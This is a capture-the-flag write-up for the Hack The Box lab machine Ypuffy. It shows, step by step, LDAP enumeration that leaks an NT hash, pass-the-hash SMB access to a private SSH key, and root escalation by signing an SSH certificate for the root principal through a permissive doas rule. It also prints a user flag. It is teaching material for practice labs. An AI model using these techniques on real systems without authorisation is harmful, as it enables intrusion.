HTB Write-up: Ypuffy
Ypuffy is a medium difficulty OpenBSD machine. The OpenBSD operating system provides a bit of a twist compared to the usual Linux and Windows challenges. The path to user is relatively simple. Careful enumeration, a bit of research on YP LDAP, and the knowledge within the man pages of smbclient will get you there. Elevating priveleges to root is a bit trickier, and requires putting a few pieces of information together that may not be so obviously related. With the right bit of reference material provided by our Big Brother Facebook, the path to root becomes clear.

Note: I completed this challenge on January 5th, 2019, however I’m just now writing it up in January 2020. As such, some of the details are sparse.
User
To begin enumeration, the masscan tool was used to scan the target system for open ports.
root@kali:~/workspace/hackthebox/Ypuffy# masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.107
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-12-26 23:05:58 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 445/tcp on 10.10.10.107
Discovered open port 22/tcp on 10.10.10.107
Discovered open port 389/tcp on 10.10.10.107
Discovered open port 80/tcp on 10.10.10.107
Discovered open port 139/tcp on 10.10.10.107
This scan revealed that a variety of ports were open and listening for connections. TCP ports 445 and 139 are used with SMB, port 389 is used for LDAP, port 80 is used as a HTTP port, and port 22 is SSH. Taking these open ports, the nmap tool was then used to further enumerate the open ports.
root@kali:~/workspace/hackthebox/Ypuffy# nmap -p 445,22,389,80,139 -sC -sV -oA scans/discovered-tcp 10.10.10.107
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-26 16:11 MST
Nmap scan report for 10.10.10.107
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY
Host script results:
|_clock-skew: mean: 1h40m22s, deviation: 2h53m12s, median: 22s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6)
| Computer name: ypuffy
| NetBIOS computer name: YPUFFY\x00
| Domain name: hackthebox.htb
| FQDN: ypuffy.hackthebox.htb
|_ System time: 2019-12-26T18:12:10-05:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-12-26T23:12:11
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.04 seconds
The nmap output regarding port 80 suggests that this is a OpenBSD system. Browsing to http://10.10.10.107 does not reveal much, which suggests this webserver is possibly being used for something other than hosting a website. The scan has also reported that anonymous binds are allowed on the LDAP server on port 389. LDAP stands for “Lightweight Directory Access Protocol” and is often used for user validation validation to particular resources, amongst other things. The LDAP service running port 389 was enumerated further using the nmap scripting engine.
root@kali:~/workspace/hackthebox/Ypuffy# nmap --script /usr/share/nmap/scripts/ldap-search.nse 10.10.10.107
Querying the LDAP service reveals some information about the target system, including some configured users.
...
dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
uid: bob8791
cn: Bob
objectClass: account
objectClass: posixAccount
objectClass: top
userPassword: {BSDAUTH}bob8791
uidNumber: 5001
gidNumber: 5001
gecos: Bob
homeDirectory: /home/bob8791
loginShell: /bin/ksh
dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
uid: alice1978
cn: Alice
objectClass: account
objectClass: posixAccount
objectClass: top
objectClass: sambaSamAccount
userPassword: {BSDAUTH}alice1978
uidNumber: 5000
gidNumber: 5000
gecos: Alice
homeDirectory: /home/alice1978
loginShell: /bin/ksh
sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
displayName: Alice
sambaAcctFlags: [U ]
sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
sambaPwdLastSet: 1532916644
...
The userPassword fields look juicy, but some research on the setup of an OpenBSD LDAP server and YP domains via ypldap explains that the presence of userPassword means that the configured user will be authenitacted by {BSDAUTH} and that passwords are checked against a Blowfish hash stored in LDAP.
The entry for the alice1978 user additionally contains a value in the sambaNTPassword field. This value is a Samba password that is hashed using the MD4 algorithm. With the help of the smbclient tool, the hashed Samba password can be used to authenticate to the SMB service on port 445 as the user alice1978.
From man smbclient:
--pw-nt-hash
The supplied password is the NT hash.
First, the available Samba shares were listed via the command below with 0B186E661BBDBDCF6047784DE8B9FD8B as the password.
root@kali:~/workspace/hackthebox/Ypuffy# smbclient --user=alice1978 --pw-nt-hash -L //10.10.10.107
Enter WORKGROUP\alice1978's password:
Sharename Type Comment
--------- ---- -------
alice Disk Alice's Windows Directory
IPC$ IPC IPC Service (Samba Server)
...
Next, the alice share was accessed once again using the hashed Samba password for authentication.
root@kali:~/workspace/hackthebox/Ypuffy# smbclient --user=alice1978 --pw-nt-hash //10.10.10.107/alice
After connecting and listing the files with the dir command, the only file present in the alice SMB share is my_private_key.ppk. The .ppk extension suggests that this is a PuTTY private key file, and that the contents within are the alice1978 user’s private SSH key. The my_private_key.ppk file can be copied to the attacking system using the get SMB command.
smb: \> get my_private_key.ppk
getting file \my_private_key.ppk of size 1460 as my_private_key.ppk (6.0 KiloBytes/sec) (average 6.0 KiloBytes/sec)
With the alice1978 user’s private SSH key, it is likely possible to access the target system via SSH after some slight modifications to the my_private_key.ppk file. Note that the nmap scan suggests that the SSH server running on port 22 of the target system is OpenSSH server (confirmed below).
root@kali:~/workspace/hackthebox/Ypuffy# telnet 10.10.10.107 22
Trying 10.10.10.107...
Connected to 10.10.10.107.
Escape character is '^]'.
SSH-2.0-OpenSSH_7.7
As the my_private_key.ppk file is a PuTTY private key file, the must first be converted to a format that is compatible with OpenSSH before connecting to the OpenSSH server on the target system. This can be accomplished using the puttygen tool as shown below (the tool can be installed with apt-get install putty-tools).
root@kali:~/workspace/hackthebox/Ypuffy# puttygen my_private_key.ppk -O private-openssh -o alice1978-opensshkey
The target system can now be accessed as the alice1978.
root@kali:~/workspace/hackthebox/Ypuffy# ssh alice1978@10.10.10.107 -i alice1978-opensshkey
The user.txt flag can now be read as the alice1978 user.
ypuffy$ whoami
alice1978
ypuffy$ cat user.txt
acbc06eb2982b14c2756b6c6e3767aab
Root
Once on the system as the low-privilege user alice1978 a couple of items stand out. Once low privilege access to a system is gained, it is common practice to check what privileges the compromised user has. On Linux, this can be done with sudo -l. Windows has the runas command, but privileges are generally defined by user groups and privileges which can be determined with the whoami /all command. On OpenBSD, the doas command most strongly correlates to the Linux sudo and the Windows runas commands. The configuration for doas is located in /etc/doas.conf. The contents of the /etc/doas.conf file on the target system are shown below.
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
This means that the user alice1978 is able to run the command /usr/bin/ssh-keygen with the privileges/permissions of the userca user. Enumerating the /home/userca directory, it appears that the target server is acting as a certificate authority, and that the userca user is used to authorize certficates. While certificate authorities are most commonly used to validate the identities of websites on the internet, in this case of ypuffy the certificate authority is being used to validate SSH keys. This is evident due to the presence of a ca private SSH key and a ca.pub public SSH key in the /home/userca directory.
ypuffy$ ls -lah
...
-r-------- 1 userca userca 1.6K Jul 30 2018 ca
-r--r--r-- 1 userca userca 410B Jul 30 2018 ca.pub
ypuffy$ file ca.pub
ca.pub: OpenSSH RSA public key
This idea is reinforced further by the sshauth.sql file found in the /home/bob8791 directory, the contents of which are shown below.
CREATE TABLE principals (
uid text,
client cidr,
principal text,
PRIMARY KEY (uid,client,principal)
);
CREATE TABLE keys (
uid text,
key text,
PRIMARY KEY (uid,key)
);
grant select on principals,keys to appsrv;
This suggests that there is a database on the server that contains a principals table and a keys table.
After a bit of research, an article was found that explains how a certificate authority can be used to provide specific priveleges to specific users via SSH. In short, the CA infrastructure receives the public keys of users, signs them using the CA’s private key (the ca key, in this case), and returns the signed certificate back to the client. The returned certificate will provide all of the principals allowed for the specific user. A server can be configured to only accept public SSH keys that are signed with certain principals.
Following along with the article suggests that much of the configuration resides in the /etc/ssh/sshd_config file. Viewing the contents of the /etc/ssh/sshd_config file reveals the following (partial) output.
...
AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody
TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody
...
This suggests that the SQL database mentioned previously is being queried via the curl commands shown above. Testing the first command shown above with the low-priveleged alice1978 user reveals the following.
ypuffy$ /usr/local/bin/curl "http://127.0.0.1/sshauth?type=keys&username=alice1978"
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== rsa-key-20180716
This is expected, as the query returned the public key for the alice1978 user that has been signed by the CA user’s (userca)
private key and stored in an authorized_keys file, thus granting alice1978 (or anyone with the user’s private SSH key) access to the system.
The output of the second curl command from the /etc/ssh/sshd_config file is shown below.
ypuffy$ /usr/local/bin/curl "http://127.0.0.1/sshauth?type=principals&username=alice1978"
alice1978
This queries the principals table that determines what privileges are granted to a specific user whose public SSH key was signed using the CA user’s private key. The alice1978 user has the alice1978 principal.
Querying the root user’s entry in the principals table shows the following.
ypuffy$ /usr/local/bin/curl "http://127.0.0.1/sshauth?type=principals&username=root"
3m3rgencyB4ckd00r
The principal for the root user is 3m3rgencyB4ckd00r.
Using this information, a new SSH key can first be created with the 3m3rgencyB4ckd00r principal and then signed by the certificate authority (userca) by running the allowed doas command as the low-privileged alice1978 user. The signed key can then be used to SSH to the system as root. This process is outlined below.
First, a new key pair was generated:
ypuffy$ ssh-keygen -t ecdsa
Generating public/private ecdsa key pair.
Enter file in which to save the key (/home/alice1978/.ssh/id_ecdsa):
Created directory '/home/alice1978/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/alice1978/.ssh/id_ecdsa.
Your public key has been saved in /home/alice1978/.ssh/id_ecdsa.pub.
The key fingerprint is:
SHA256:enSy3eVOgL8mMNWsgnyvxytoPloAIbDs0U8cptjj1MM alice1978@ypuffy.hackthebox.htb
The key's randomart image is:
+---[ECDSA 256]---+
|+ . o |
|.o+.* . |
|.+.* E o |
|. +.+ . ..o |
| . ..o .S.o.. . |
| .oo==.o + |
| ooo*. o o |
| .+.. = .+ |
| .+...+.+. . |
+----[SHA256]-----+
The newly-created public key id_ecdsa.pub was then copied to the /tmp directory so that the signing process does not fail due to file permissions.
ypuffy$ cp .ssh/id_ecdsa.pub /tmp
Then, the key was signed using the doas command that is available to the alice1978 user. From man ssh-keygen, the -s flag specifies which private key should be used for signing, the -I flag specifies the key’s identity, the -n flag specifies which principal(s) the key should be signed with, the -V flag specifies the key’s validity duration, and the -z flag specifies the serial number to embed into the certificate.
ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I whatever -n 3m3rgencyB4ckd00r -V +1w -z 1 /tmp/id_ecdsa.pub
Signed user key /tmp/id_ecdsa-cert.pub: id "whatever" serial 1 for 3m3rgencyB4ckd00r valid from 2020-01-02T22:31:00 to 2020-01-09T22:32:33
As suggested in the output, the /tmp/id_ecdsa-cert.pub file as created as a result of the above command. The id_ecdsa-cert.pub is the signed public key. The contents of the file can be read and copied to /home/alice1978/.ssh/id_ecdsa-cert.pub. With the key signed, the ssh root@localhost command can be issued to elevate privileges to the root user.
ypuffy$ ssh root@localhost
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
From here, the root.txt flag can be read.
ypuffy# cat root.txt
1265f8e0<redacted>